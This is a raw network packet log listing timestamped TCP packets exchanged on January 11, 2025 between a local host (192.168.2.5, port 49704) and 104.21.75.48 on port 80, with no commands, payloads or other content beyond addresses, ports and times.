Jan 11, 2025 06:50:59.160351992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160351992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160382986 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160394907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160407066 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160418987 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160428047 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160471916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160471916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160496950 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160510063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160521030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160535097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160547972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160556078 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160568953 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160649061 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160657883 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160660028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160675049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160690069 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160696983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160710096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160716057 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160722017 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160734892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160739899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160749912 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160763025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160767078 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160782099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160794973 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160806894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160813093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160819054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160831928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160844088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160846949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160856962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160857916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.160868883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.160885096 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161067963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161459923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161472082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161483049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161499977 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161513090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161528111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161535025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161535978 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161545038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161590099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161590099 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161612034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161628962 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161640882 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161645889 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161653996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161654949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161668062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161679029 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161686897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161686897 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161691904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.161710978 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161710978 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.161951065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162203074 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162214994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162228107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162276983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162276983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162286997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162300110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162312984 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162326097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162331104 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162339926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162357092 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162425041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162442923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162442923 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162456036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162460089 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162468910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162482023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162486076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162493944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162507057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.162511110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.162523985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.164267063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216758966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216773033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216794014 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216811895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216824055 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216831923 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216837883 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216850996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216862917 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216875076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216906071 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216922998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216922998 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216922998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216943026 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216948032 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216959953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216970921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.216970921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216989040 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.216994047 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217006922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217010975 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217019081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217037916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217037916 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217040062 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217051983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217056990 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217066050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217086077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217111111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217123985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217130899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217139006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217152119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217156887 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217156887 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217170000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217183113 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217195034 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217195034 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217220068 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217220068 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217241049 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217255116 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217268944 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217283964 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217287064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217297077 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217300892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217310905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217325926 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217418909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217462063 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217473984 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217487097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217499971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217510939 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217523098 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217531919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217531919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217540026 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.217557907 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.217833042 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218067884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218079090 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218091011 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218135118 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218219042 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218230963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218241930 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218261003 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218265057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218277931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218286991 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218291044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218308926 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218312979 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218323946 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218332052 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218336105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218348980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218353987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218363047 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218374968 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.218379974 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218390942 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.218530893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247721910 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247734070 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247750044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247764111 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247775078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247796059 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247802019 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247807980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247818947 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247829914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247843027 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247847080 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247855902 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247860909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247869968 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247872114 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247883081 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247895002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247896910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247908115 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247915030 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247931004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247944117 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247948885 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247956038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247967005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247972965 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.247978926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.247992039 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248003006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248008013 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248014927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248028040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248030901 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248042107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248045921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248061895 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248073101 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248085022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248085022 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248085022 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248097897 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248100996 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248111963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248115063 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248125076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248137951 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248141050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248151064 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248162985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248167992 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248178005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248178005 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248191118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248193979 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248230934 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248246908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248266935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248280048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248286009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248316050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248316050 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248347998 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248358011 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248372078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248377085 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248385906 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248385906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248402119 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248467922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248480082 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248485088 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248492002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248503923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248507023 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248517990 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248548985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248548985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.248584032 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.248594999 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249166012 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249177933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249188900 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249201059 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249219894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249228001 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249233961 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249238968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249247074 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249269009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249319077 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249330044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249336958 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249341011 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249355078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249356031 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249375105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249408960 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249408960 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249433041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249443054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249456882 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249468088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.249476910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249476910 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249505043 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.249505043 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.303754091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303777933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303791046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303797960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303809881 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303817987 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303829908 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303883076 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303894997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303900957 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303908110 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303919077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.303919077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.303962946 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.303978920 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303987980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.303993940 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304002047 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304133892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304133892 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304147959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304160118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304176092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304195881 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304208994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304222107 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304222107 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304234028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304235935 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304248095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304249048 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304261923 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304275036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304286957 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304300070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304339886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304353952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304366112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304366112 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304378033 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304388046 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304392099 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304415941 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304508924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304522038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304532051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304539919 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304543972 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304558992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:59.304593086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:59.304593086 CET	49704	80	192.168.2.5	104.21.75.48
